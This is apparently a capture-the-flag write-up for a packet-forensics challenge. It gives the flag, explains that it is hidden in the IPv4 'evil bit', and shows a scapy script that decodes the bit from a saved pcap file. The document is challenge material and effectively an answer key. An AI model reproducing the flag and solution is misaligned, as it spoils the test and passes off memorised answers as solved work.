converting to ascii: Ladies and gentlemen, welcome to my underground lair. I have gathered here before me the world’s deadliest assassins. And yet, each of you has failed to kill Austin Powers and submit the flag “midnight{1_Milli0n_evil_b1tz!}”. That makes me angry. And when Dr. Evil gets angry, Mr. Bigglesworth gets upset. And when Mr. Bigglesworth gets upset, people DIE!!

midnight{1_Milli0n_evil_b1tz!}

TLDR: The flag is in hidden in the “evil” bit of the Ipv4 header https://www.ietf.org/rfc/rfc3514.txt https://en.wikipedia.org/wiki/Evil_bit

Ladies and gentlemen, welcome to my underground lair. I have gathered here before me the world’s deadliest assassins. And yet, each of you has failed to kill Austin Powers and submit the flag “midnight{1_Milli0n_evil_b1tz!}”. That makes me angry. And when Dr. Evil gets angry, Mr. Bigglesworth gets upset. And when Mr. Bigglesworth gets upset, people DIE!!

from scapy.all import *

currentChar = 0
count = 7
def read(packet):
    global currentChar
    global count
    if packet[IP].src == "52.15.194.28":
        if packet[IP].flags:
            currentChar += 2**count
        count = count-1
        if count < 0:
            count = 7
            print(chr(currentChar), end="")
            currentChar = 0

sniff(offline='/home/markus/ctf/midnight/evil/dr-evil.pcap', prn=read, store=0)
print()